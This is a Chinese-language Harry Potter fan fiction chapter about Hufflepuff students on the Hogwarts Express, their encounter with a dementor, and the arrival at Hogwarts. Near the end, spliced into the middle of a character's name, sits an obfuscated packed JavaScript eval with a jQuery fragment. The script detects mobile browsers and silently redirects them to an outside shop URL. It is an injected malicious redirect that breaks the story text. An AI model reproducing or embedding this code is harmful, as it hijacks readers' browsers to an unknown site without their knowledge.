九又四分之三站台上热得出奇。
霍格沃茨特快停在铁轨旁,猩红色的车身在蒸汽中若隐若现。到处都是皮箱、鸟笼和匆匆穿过人群的长袍,一个一年级男孩正趴在长凳底下找蟾蜍,他母亲站在旁边,从最初的“快一点,火车要开了”渐渐说到了“如果它真的这么不愿意去学校,我看我们最好尊重它的决定”。不远处还有只猫蹲在三只叠起来的箱子顶上,随着行李车东倒西歪地穿过站台,神情却比推车的人镇定得多。
萨顿一家好不容易在人群里腾出一小块地方。大卫负责把丽贝卡最重的箱子搬下来,海伦则检查有没有围巾、袍角之类的东西夹在锁扣里;马修原本只是站在一旁扶奥黛尔的鸟笼,最下面那只箱子忽然从里面闷闷地响了一声,他低头看了两秒,还是把脚往旁边挪开了一点。
“它今天早上不是挺安静的吗?”
“那时候刚摸过书脊。”丽贝卡说道。
“所以它现在大概又觉得自己受到冷落了——”马修看着箱子外面那条皮带,“我仍然认为一本教材如果需要定期安抚,至少应该在书单旁边加一句。比如‘请像对待一只脾气不太好的狗那样对待本书’——这样家长会比较有准备。”
大卫刚检查完皮带,站起来说道:“狗一般不会咬穿其他教材。”
“那就写‘脾气不太好的大型犬’。”
“你们两个要是已经讨论完它到底算哪一种狗,就先把箱子给贝卡吧。”海伦正在替丽贝卡理衣领,“火车可不会为了等你们给一本书重新归类,特意晚开五分钟。”
大卫和马修都安静下来。丽贝卡笑着接过箱子,正准备往前走,便看见赫奇帕奇另外四个人已经在车厢附近等着。
汉娜坐在自己的行李箱上吃松饼,膝盖上还摊着一张不知道从哪里来的糖果目录;苏珊站在旁边看她研究其中一种会在舌头上变色的软糖。贾斯汀手里提着一个纸袋,看着有点发愁,厄尼则刚替一个低年级学生把卡在车门边的箱子搬开。
“你最好离贾斯汀那个袋子远一点。”苏珊耸耸肩,“他妈妈显然认为霍格沃茨特快今天会遭遇一次严重的饥荒。”
“我母亲只是对铁路餐饮缺乏信任。”贾斯汀把纸袋打开给丽贝卡看,里面足足装着好几层三明治,“她不太相信魔法界的人真的把火车上的那些东西当午饭——所以特意给我塞了这些——我爸爸看见以后说,除非我准备在车上组一支板球队,不然大概吃不完。”
他们正说着,不远处忽然传来罗恩相当恼火的声音。
“赫敏,你能不能把它按回去?斑斑已经钻到我衬衫里了。”
“我一直在按着。”赫敏的声音也很不高兴,“是克鲁克山自己非要出来。”
“那就把盖子扣好。”
“它一路上都被关在里面——”
“很好,再关半个小时也不会怎么样。”罗恩不客气地说。
“罗恩!”
几个人一起朝声音那边看去。
哈利正推着行李车从一团白汽后面过来,海德薇的笼子稳稳放在皮箱顶上。赫敏走在旁边,怀里抱着一只柳条篮,两只手都压在篮盖上;罗恩则离她稍远一些,一只手牢牢护着胸前鼓起来的口袋,神情很像有人正带着一件危险物品跟他同行,而这件危险物品偏偏又不归他管。
哈利先看见了丽贝卡,朝她笑了一下——他看起来心情不错,只是显然已经听够了身后那场争论。丽贝卡还没来得及问,赫敏怀里的篮盖忽然又往上顶了一下,一团姜黄色的毛从缝里挤出来,紧接着露出一张扁扁的猫脸。
丽贝卡终于明白哈利昨晚为什么特意写了那一句。
克鲁克山确实很大。
或者至少显得很大。它全身的毛都蓬蓬松松,粗大的尾巴从篮子另一边露出来,活像一把姜黄色的鸡毛掸子;那张脸却扁得出奇,鼻子像是小时候不小心撞过什么东西以后,就一直没有完全恢复原状。
“这就是克鲁克山?”丽贝卡问。
“对。”赫敏立刻说道,语气总算好了些,“它其实很乖,就是不喜欢一直待在篮子里。”
罗恩从鼻子里发出了一声冷笑。
汉娜已经凑近看了看:“我觉得它挺可爱的。”
“谢谢。”赫敏说。
“你昨天没见过它从柜子顶上扑下来。”罗恩道。
“它又不是冲着你去的。”
罗恩转过脸看她:“对,它真正想扑的是我口袋里的斑斑——我不认为你用这句话安慰我会让这件事变得让人容易接受一点。”
哈利低头笑了一声。
赫敏瞪了他一眼,又把克鲁克山往篮子里推了推。那只猫很不情愿地缩进去一点,眼睛却仍越过篮沿盯着罗恩。
“罗恩从昨天开始说得好像我买了一头狮子。”赫敏说道。
“狮子至少不会假装自己只是碰巧一直朝我的口袋看。”
“它是猫,斑斑是老鼠,它当然会看。”
“那斑斑听了一定放心多了。”
这句话把汉娜逗笑了。连赫敏嘴角也动了一下,不过她很快忍住,低头去扣篮子上的搭扣。
就在这时,罗恩胸前的口袋轻轻鼓动了一下。
克鲁克山原本已经快被按回去,耳朵却猛地竖了起来。下一刻,那颗姜黄色的脑袋又从赫敏手底下钻出来,两只黄眼睛直直盯住罗恩胸前。
罗恩立即往后退了一步。
“你看。”
赫敏叹了口气:“我看见了。”
她这次索性把篮盖扣紧。
里面很快传来一阵低沉而不满的呼噜声,篮子也跟着轻轻晃了一下。罗恩看着它,仍旧不怎么放心,直到赫敏把搭扣也扣上,才终于把护着口袋的手松开一点。
丽贝卡又看了那只篮子一眼,也没有太在意。奥黛尔能蹲在窗台上盯一只甲虫盯十分钟;一只猫对一只老鼠兴趣过分浓厚,似乎还不至于成为霍格沃茨开学第一天最奇怪的事情。
至少目前不是。
他们的话题很快就被站台上的声音冲散了。火车头又喷出一大片白汽,一个一年级学生拖着箱子从旁边挤过去,箱盖里不知装着什么,正一下下往外顶;更远处,韦斯莱夫人似乎正在找弗雷德,因为接连喊了两遍都没有人回答。
韦斯莱先生就在这时候走了过来。
“哈利,”他叫了一声,声音并不高,“来一下,好吗?”
哈利转过头。
亚瑟朝旁边一根柱子示意了一下。他脸上没有平时那种温和而略带好奇的笑意,哈利看了他一眼,显然也察觉到了什么,没有问,只把行李车往罗恩手边推了推,跟着他走了过去。
两个人很快绕到柱子后面。
站台上实在太吵,丽贝卡什么也听不见。猫头鹰在叫,车门不断开合,蒸汽从猩红色车头下面一股一股地涌出来,偶尔把亚瑟和哈利的身影都遮住。
她只能看见亚瑟一直低声说着什么。
哈利起初答了几句,后来便不说了。
亚瑟平时很少露出这样的神情。哪怕去年面对一辆完全不该飞上天的汽车,他说起麻瓜机器时也总还能分出一点精神来好奇它究竟是怎么制造的;可现在,他只是看着哈利,脸色严肃得近乎忧虑。
丽贝卡看了一会儿,便把视线收了回来。
她大概猜得到他们在谈什么。
汉娜也往那边看了一眼,不过没有追问。她母亲显然已经把小天狼星·布莱克的事情说得够多了,这会儿只是皱了皱鼻子,说希望魔法部至少真的知道自己在做什么。
“我妈妈今天早晨又让我把报纸上的照片看了一遍,”她说道,“她说万一在学校附近碰见他,至少应该立刻认出来。我说如果我真的在霍格沃茨走廊上碰见一个通缉犯,我应该不会先停下来确认他是不是和报纸上长得一模一样。”
“我母亲说得更直接——”贾斯汀道,“如果真碰见布莱克,不要凑过去问:‘对不起,先生,您是不是那个连环杀人犯?’看见了就走,越快越好。”
厄尼觉得这其实是很合理的建议,正准备说些什么,第二声汽笛突然响了。站台上的家长们立刻开始催着各自的孩子上车,几个靠近车门的猫头鹰笼被蒸汽吓得扑腾起来,一个男孩隔着半节车厢高喊自己找不到魔杖,很快有人从后面回答说魔杖插在他自己的袜子里。
离别因此变得很仓促。海伦最后抱了抱丽贝卡,大卫帮她把最重的箱子抬到车门边;马修本来还想告诉她,如果哪本教材准备在路上逃跑,尽量不要让它钻到座位下面,结果话才说一半便被海伦催着让开。丽贝卡笑着上了车,回头时看见三个人还站在原处,于是挥了挥手。
哈利也已经回来了。
他的神情也带着一丝不易察觉的凝重,可他没有提亚瑟刚才说了什么。丽贝卡也没问,只和他一起把箱子挪到行李架里面。等列车真正开始移动,站台上的人影慢慢变成一个小黑点,两人才各自去找自己的包厢。
赫奇帕奇五个人在列车中段找到了一间空包厢。
贾斯汀那袋三明治很快便有了用处——他们刚坐下来没多久,汉娜就宣布自己为了赶火车,只来得及吃半份早餐,于是先拿走了一个。后来食品车经过,桌上又多了巧克力蛙、南瓜馅饼和一盒坩埚蛋糕;等到中午,三明治虽然少了不少,零食却比上车时更多了。
几个人后来又聊到了选课。汉娜最期待占卜课,因为她姨妈认识一个女巫,年轻时曾被预言“两年以后会结婚”,后来果然应验了——苏珊问了两句才知道,那位女巫当时已经有了一个交往了几年的男朋友。
苏珊听完,只说:“那听起来倒不像是个特别冒险的预言。”
汉娜并不介意。她本来也只是觉得占卜听起来有趣,并没打算靠它安排自己的一生。丽贝卡和厄尼对古代魔文和算术占卜更感兴趣,两个人很快又翻起了带来的书。贾斯汀看了一会儿他们正在讨论的某个符号,最后还是拿回了自己的杂志。
下午以后,天气渐渐坏起来。
最初只是细雨,很快便密密地布满了车窗。远处的田野和树篱被冲成一片模糊的灰绿,包厢里的灯也比平时更早亮了。汉娜抱着外套靠在角落里犯困,苏珊拿出一本书;贾斯汀的杂志摊在腿上,一页半天都没有翻过去。丽贝卡和厄尼则还在低声谈论那个古代魔文符号,只不过两个人的声音都被车轮规律的撞击声拖得有些懒散。
列车就在这时慢了下来。
起初变化很轻。车轮撞过铁轨接缝的声音渐渐拉长,窗外本来飞快倒退的景物也慢慢停住。丽贝卡抬头往外看,本以为已经快到霍格莫德,却没有看见站台或者灯火,只有一大片被雨水笼住的荒地。
走廊上陆续有包厢门打开。有人问是不是火车出了故障,有人猜他们可能撞见了羊。隔壁不知道哪个男生立刻说道,如果霍格沃茨特快遇到羊就必须停下来,那麻瓜铁路这些年恐怕确实受了不少冤枉。
汉娜刚刚笑出声,列车突然猛地一震。
灯全灭了。
包厢里顿时传来一阵混乱的响动。什么东西从桌上滚到地板上,苏珊说自己的书掉了,让大家暂时别乱踩;贾斯汀则在黑暗里抱怨有人踢到了他的鞋,不过根据脚趾还会疼这一点判断,至少没有产生永久性损伤。
丽贝卡刚想问是不是应该拉开门看看,便感到一股寒气慢慢钻进来。
不是一阵冷风。
车窗没有开,门也关着,可温度仍然在一点点下降。先是手背发凉,然后是脸和脖子,没过多久,丽贝卡呼出来的哈气已经在黑暗中凝成了一小团白雾。她伸手摸了摸玻璃,指尖立刻碰到一层薄薄的冰。
“窗子已经冻住了。”
这句话说完以后,包厢里安静了一阵。
外面的走廊也静得异常。
几分钟前,走廊里还满是学生开门、大声叫嚷和拖动行李的声音,这会儿却忽然安静下来。雨仍旧敲着车窗,听上去却像隔得很远。丽贝卡只能听见身边几个人的呼吸声,以及贾斯汀在黑暗里摸索魔杖时,不小心碰到桌沿的一声轻响。
然后,走廊那边传来了另一种声音。
很慢。
像一件湿透了的厚长袍拖过地面。
它在远处停了一会儿,又重新响起来。一间包厢,一间包厢地靠近。
汉娜的声音很轻:“外面是什么?”
没人回答。
丽贝卡坐得离门最近。她看不见走廊,只能盯着门上那块黑漆漆的玻璃。拖曳声终于停在他们包厢前面时,她下意识伸手去碰门把。
厄尼突然从旁边攥住了她的手腕,把她往后拉了一点。
“先别碰。”他的声音压得很低,语速却比平时快,“不管外面是什么,我们现在连它为什么让火车停下来都不知道。你至少等它走了,再决定是不是有必要出去看看。”
丽贝卡还没来得及回答,门把手已经被缓缓压了下去。
包厢门向旁边滑开。
一个黑色的高大身影站在外面。
它几乎碰到车顶,浑身裹在一件破烂的黑斗篷里,沉重的布料一直垂到地面,可底下看不见脚。兜帽深深罩着头,里面也没有能辨认出的脸,只是一片比走廊更浓、更深的黑暗。
随后,一只手从斗篷下面慢慢伸了出来。
灰白,枯瘦,皮肤结着痂,湿亮得像是什么已经死去很久的东西刚刚从冰水里捞出来。
那只手搭在门框上。
兜帽下面传来一声缓慢而沙哑的吸气声。
寒冷一下不再只是寒冷。
丽贝卡先是觉得胸口一紧,紧接着,四周的一切都像忽然退远了。霍格沃茨就在前面,火车迟早会重新开动;几分钟前,他们还在为了占卜和一本字典说些无关紧要的话。她知道这些都是真的,可那些原本再普通不过的事实,此刻却显得异常单薄,仿佛稍微碰一下,就会从眼前散开。
反倒是另一些记忆,一下子变得清楚起来。
双向镜猛地碎裂,随后彻底暗下去。她一遍遍叫哈利的名字,却始终没有回答;医疗翼里那张久久没人坐起来的床;还有深夜里过分安静的房子,桌上的茶早已凉透,所有人都在等一个不知道什么时候才会来的消息。
那些事情后来明明都有了结果。她知道。
可这一刻,她一个也想不起来。
厄尼抓着她的手忽然更紧了一些。
疼痛从手腕上传过来。
很轻,却很真实。
丽贝卡低头看了一眼,才发现厄尼的手也在发抖。不是因为松开了,也不是因为冷得握不稳;他仍然紧紧抓着她,只是整只手无法控制地轻微颤着。
这反而把她的感官重新拉了回来。
厄尼就在旁边。
汉娜正紧挨着苏珊坐着,苏珊一只手放在她胳膊上。贾斯汀握着魔杖,可魔杖尖一直垂在膝盖边,显然连他自己也不知道现在能念什么咒语。
大家都在害怕。
包厢也还在。
那道黑影又吸了一口气。
丽贝卡觉得胃里猛地缩紧,仿佛连最后一点力气都被从身体里抽走。她不知道那东西在门口究竟停了多久——也许不过几秒,却长得像一个根本不会结束的夜晚。
最终,黑影没有进来。
兜帽稍微转动了一下,像确认过包厢里没有它要找的东西,那只灰白的手便从门框上收了回去。沉重的斗篷重新滑向走廊,拖曳声一点点远去。
没有人立刻说话。
丽贝卡直到胸口开始发疼,才发现自己刚才一直屏着呼吸。
厄尼过了好一会儿才松开她。他低头看见丽贝卡手腕上已经出现了一圈浅红的指印,这才真正意识到刚才用了多大力气,脸色顿时比本来还难看了一点。
“抱歉。我刚才只是怕你把门打开,后来那东西进来的时候——我想我根本没注意自己还在抓着你。疼得厉害吗?”
丽贝卡活动了一下手指,手腕确实有一点发麻,不过没有别的问题:“没什么——过一会儿应该就好了——而且如果你没把我拉回来,我刚才可能已经跟那个鬼东西来了个脸对脸了。”
“这并不能说明我应该把你的手捏成这样。”厄尼皱着眉,仍然盯着那圈红痕,“我拉你回来是一回事,忘了自己用了多大力气是另一回事。两件事可以同时——”
他说到这里停了一下。
丽贝卡顺着他的视线看过去,才发现他握着魔杖的另一只手仍然在抖。
“厄尼,你先别管我的手了。”
“什么?”
“你自己的也还在抖。”
厄尼低头看了一会儿。这一次他没有像平时那样立刻说“没事”,只慢慢把手握成拳头,又松开。
“是。”过了一阵,他承认,“说实话,我现在觉得自己大概在未来半年里都不会再抱怨苏格兰天气冷了。至少普通的冷不会让人觉得……算了,我甚至不知道刚才那到底算什么。”
贾斯汀坐在对面,脸色也白得很。他把魔杖放回腿上,深吸了口气:“我刚才一直想说点什么让大家轻松一点,可我能想到的最好的一句是‘至少火车还没翻’——所以我觉得自己还是先闭嘴比较好。”
汉娜居然笑了一下。
那声音短促得几乎算不上笑,可包厢里刚才绷得过紧的气氛终于松动了一点。
紧接着,灯亮了。
突如其来的强光使所有人同时眯起眼睛。脚下重新传来列车的震动,车轮缓慢转动起来;隔壁有人猛地打开门,问刚才究竟发生了什么,更远处不知道哪只猫头鹰先叫起来,很快又有另外几只跟着叫。平常这些声音只会显得吵闹,此刻却让人几乎觉得亲切。
汉娜在自己的包里翻了一会儿,拿出一大块巧克力。
“我知道现在大概应该先讨论刚才那个东西是什么,”她一边拆包装一边说道,“不过我目前一点也不想讨论。我只想吃这个——如果有人觉得顺序不对,可以等我吃完以后再提出意见。”
“没人会提出意见。”苏珊接过她掰下来的一块,“至少今天下午不会。”
汉娜给丽贝卡递了一块,又转向厄尼。厄尼原本摇头说不用,丽贝卡却先把自己那块掰了一半塞到他手里。
“吃吧,你的手还是冰的。”
厄尼看了看她,又低头看看掌心里的巧克力,最后没有争辩,只轻声说道:“谢谢。”
巧克力当然没有立刻让他们忘记刚才发生的事,不过吃下去以后,那种从骨头里面冒出来的冷意确实一点点减轻了。等走廊上终于有人告诉他们,刚才那些东西叫摄魂怪,是阿兹卡班的守卫,正在搜查小天狼星·布莱克时,汉娜已经不再把两只手都缩在袖子里。
剩下的路程似乎比平常长。
火车没有再停,雨却一直没有转小。谁也没重新开始讨论那个古代魔文符号,汉娜后来又买了一袋巧克力,声称她已经用亲身经历证明在霍格沃茨特快上多准备一点糖果绝不能算没有远见。贾斯汀对此表示完全支持,还准备进一步证明三明治也属于应急物资,被苏珊无情地制止了。
到霍格沃茨站时,关于摄魂怪的事情已经在火车上传了不知道多少轮。
丽贝卡正站起来取奥黛尔的笼子,走廊外两个拉文克劳学生一边艰难地往车门方向挤,一边说哈利·波特在摄魂怪进包厢以后昏了过去。
她手上的动作顿时停了。
“你听谁说的?”其中一个还在问。
“后面车厢传过来的。听说那个新教授把摄魂怪赶走了。”
“哪个新教授?”
“我怎么知道?反正是个大人。”
两个人很快随着人群走远了。
丽贝卡把鸟笼放下,探头看了一眼走廊。那里已经堵得几乎连侧着身都过不去,皮箱、鸟笼和学生全挤在一起,一个一年级男孩正蹲在地上努力抢救自己的围巾。
厄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873348|212317||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
尼看见她的动作便站起来:“你想去后面找波特?如果真要去,我跟你过去——不过现在恐怕得从好几个箱子上面爬过去。”
苏珊也往外看了一眼,随后很实际地说道:“而且如果哈利真的刚晕过,他身边肯定有罗恩、赫敏和那个教授。我们现在挤过去,除了让走廊再堵一点,大概什么忙也帮不上。”
丽贝卡知道她说得完全正确。
这并没有让她更喜欢这个答案。
最后几个人只能随着人流下车,真正下了车才发现,外面的雨比隔着车窗看起来还要大得多。站台灯光被冲成一团团模糊的黄色,海格正在远处大声指挥一年级新生跟他走,高年级学生则往另一边的黑色马车走去。
丽贝卡一直走到马车附近才终于看见哈利。
他和罗恩、赫敏站在一起,脸色确实苍白得厉害,不过至少好好站着,而且正在跟赫敏说些什么。丽贝卡的目光先落在他脸上,很快又往下看了一遍——胳膊、腿,看起来都没有在摔倒时出现问题。
哈利恰好在这时候抬起头。
隔着大雨和来来往往的学生,他也看见了她。他先愣了一下,随后像是猜到丽贝卡正在看什么,抬起手朝她摆了摆,还很明显地做了一个“没事”的口型。
雨中的霍格沃茨亮着一排排暖黄色的窗。
马车沿着湖边往前走时,巨大的城堡从黑暗里一点点靠近,尖塔和城垛被雨雾遮得有些模糊。丽贝卡以前并不觉得自己会因为看见一栋建筑物而松一口气,可在火车上挨过那阵刺骨的寒意以后,连门厅里一向冰凉的大理石地面都让人觉得踏实。
他们刚走进去,麦格教授便把哈利和赫敏叫住了。
汉娜正在拧自己湿透的袖口,听见以后朝那边看了一眼:“哈利我能理解,可为什么赫敏也要去?她看起来明明好好的。”
“可能根本不是一件事。”丽贝卡说道。麦格教授已经带着两个人往旁边走了,她看了一会儿便收回视线,“如果只是摄魂怪,她应该不需要特意把赫敏也叫走。”
“那她还能有什么事?”
“我不知道。”
汉娜很快接受了这个答案,因为礼堂大门已经打开了——几百支蜡烛漂浮在长桌上方,金盘、高脚杯和学生湿漉漉的头发都映着暖光——外面雨声还很大,可厚重的石墙和关上的大门把它隔得很远;可经历过下午的事,礼堂里的热气甚至让人觉得有点过分舒服。
分院仪式快结束时,麦格教授回到了教师席——没过多久,哈利和赫敏也从礼堂后面进来,沿着墙边走向格兰芬多长桌。一路上不断有人回头看哈利,显然都想亲眼确认一下,他究竟有没有像传闻里说的那样直接摔到了地上。
邓布利多很快站了起来。
礼堂渐渐安静下来。
他的神情比平常严肃得多。关于摄魂怪,他没有说太多无关紧要的话,只明确告诉全校,那些阿兹卡班守卫将在霍格沃茨周围驻留一段时间,协助魔法部搜捕小天狼星·布莱克;在此期间,任何学生都不准擅自靠近它们,更不要指望用恶作剧、借口或者隐形之类的小聪明骗过它们。摄魂怪不会因为面前站的是学生,就忽然变得更讲道理。
赫奇帕奇长桌安静得很。
丽贝卡想起火车门口那只灰白而湿亮的手,觉得这大概是本学年最不需要重复第二遍的校规。
随后邓布利多介绍了新的黑魔法防御术教授——莱姆斯·卢平。格兰芬多那边的掌声明显响了一些,丽贝卡猜他就是车上那个赶走摄魂怪的大人。卢平教授站起来时显得很疲倦,长袍也旧得厉害,不过看上去比去年那个致力于让自己的牙齿出现在封皮上的洛哈特可靠得多。
邓布利多接着宣布,本学年的保护神奇生物课教授一职将由鲁伯·海格继任。
格兰芬多长桌立刻响起一阵格外热烈的掌声——哈利、罗恩和赫敏拍得尤其起劲,海格坐在教师席最边上,脸一下子红到了胡子根。他那双大得像垃圾桶盖的手似乎突然不知道该往哪儿放,先在桌边搓了两下,最后索性低下头去,咧着嘴盯住自己面前的一盘土豆。周围几位教授都在笑,弗立维教授甚至不得不往旁边让了让,好给海格挥手腾出地方。
晚宴散场以后,学生们一股脑儿涌进了门厅。外面的雨还没有停,湿斗篷在人群里擦来擦去,大理石地面很快多出了一层乱七八糟的水印;几个级长站在楼梯下面招呼一年级新生,声音一个比一个响。二楼有幅已经换上睡衣的老巫师画像被吵醒了,正隔着画框抱怨学生们把门厅当成了魁地奇球场,还威胁说再有人从他画像下面跑过去,他就要去找校长投诉。
丽贝卡在人群里看见哈利,便直接绕了过去:“哈利,火车上到底发生什么了?”
哈利原本正看着一群格兰芬多学生上楼,听见这句话才转过身来。他的脸色仍旧不怎么好,眼睛下面还有一点倦意;更糟的是,附近又有两个人在经过时回头看了他一眼。哈利显然已经受够了这种注目,等那两个人走远,才低声说道:“摄魂怪进了我们的包厢,然后我听见一个女人在尖叫。”
丽贝卡皱起眉:“车厢里的?”
“不是——至少我觉得不是。”哈利把手插进口袋里,“罗恩和赫敏什么都没听见。后来我就……晕过去了,醒来的时候已经在地板上,卢平教授把那东西赶走了。”
他说到“晕过去”时明显有些不自在。丽贝卡看了他一会儿,没有去重复这个词,只继续问:“你以前听过那个声音吗?”
“不知道。”哈利回答得很快,随后又烦躁地抓了抓头发,“也许吧——我真的不知道,贝卡,我那时候脑子里乱得很。”
“好。”丽贝卡点点头,却没有就此停住,“那卢平教授是怎么赶走它的?”
“他念了一句咒语,我没听清——后来赫敏说,他的魔杖里发出了一道银色的光。”哈利说道,他皱了皱眉,显然能记住的也只有这些。
丽贝卡本来已经点了头,可走了两步,她还是没忍住,又转过来问:“那道光……是什么样的?”
话一出口,她自己也觉得这个问题问得不是时候,顿了顿,又补充道:“如果你没看清就算了——我只是有点想知道。”
哈利倒没有生气,只是疲倦地推了推眼镜:“贝卡,我那时候刚从地板上醒过来,眼镜还不知道歪到哪儿去了。”
“好吧——”丽贝卡有些遗憾,但这次没有继续追问,“那确实很难看清。”
哈利嘴角很轻地动了一下,不过那点笑意很快又没了。两个人随着渐渐散开的人群往楼梯边走,丽贝卡这才把自己那边的情况告诉他:他们的包厢里没有教授,摄魂怪在门口停了一会儿,确认里面没有布莱克之后便离开了。她还说,那东西靠近时并不只是冷;她明明知道火车最后会重新开、霍格沃茨也就在前面,却觉得这些事情忽然变得一点分量也没有,只剩下以前那些糟糕的记忆格外清楚。
哈利听到这里,终于抬起头来。
“对。”他说,“就是那种感觉。”
“你也是?”
“嗯。”
丽贝卡想了一下:“那至少不只是你。”
哈利没有立刻回答,门厅另一边又有几个学生朝他们看过来,他皱着眉把视线移开,过了几秒才说道:“可你没有直接倒在地上。”
这回丽贝卡明白他真正介意的是什么了:“没有,不过我那时候也没做什么特别聪明的事。”
哈利看向她。
“我差点把包厢门打开。”
“你什么?”
“我想看看外面出了什么事。”丽贝卡解释,“火车突然停了,灯全灭了,走廊里又有声音——”
“这听起来全都是不要开门的理由。”
丽贝卡停了一下:“现在听起来确实是。”
哈利盯着她,似乎没想到她会承认得这么干脆,“然后呢?”
“厄尼把我拉回去了,接着门自己开了。”
“那他做得对。”
“我知道。”
哈利这才呼出一口气,又低声咕哝了一句:“至少你们那间包厢还有一个人在正常思考。”
“我当时也在思考。”
“我知道,”哈利说,“这正是比较麻烦的地方。”
丽贝卡转头看了他一眼,哈利没有再板着脸,不过看上去仍旧很累,方才说起尖叫声时留下的那点阴沉也没有真正散去,她便没有再开玩笑,只问了一句:“现在你还会想起那个声音吗?”
哈利沉默了一会儿:“会。”
前面的楼梯这时慢吞吞地转了个方向,正准备上楼的几个学生不得不停下来等它。与此同时,赫奇帕奇的级长已经在地下通道口叫人,罗恩也从另一边喊了哈利一声。
丽贝卡朝那边看了一眼:“我得走了。”
“嗯,晚安,贝卡。”哈利说。
她也道了晚安,走出两步,又回过头:“明天如果你想起那个咒语——”
这一次,哈利总算真正笑了一下。
丽贝卡转身去追赫奇帕奇的队伍。厄尼他们还在前面的走廊口等她,汉娜正和几个一年级学生解释公共休息室入口不会突然把人吞进去;贾斯汀听了一会儿,又十分不负责任地补充了一句“至少过去两年没有”,立刻把几个新生吓得转头看他。
“你能不能别在他们第一晚说这种话?”汉娜抱怨。
“我只是避免提供无法保证的长期承诺。”
厄尼很肯定地说道:“你明明就是故意吓他们。”
贾斯汀耸耸肩。
他们沿着通往地下的石头走廊往前走。厨房方向还留着刚烤过面包的香味,墙边的火把烧得很旺,远处一幅画像里有人已经盖着被子睡着了,只留下鼾声从画框里断断续续传出来。
城堡外面,那些黑色的摄魂怪仍然守在雨夜里。
可厚厚的石墙里面,霍格沃茨还是霍格沃茨。
至少今晚,这已经足够了。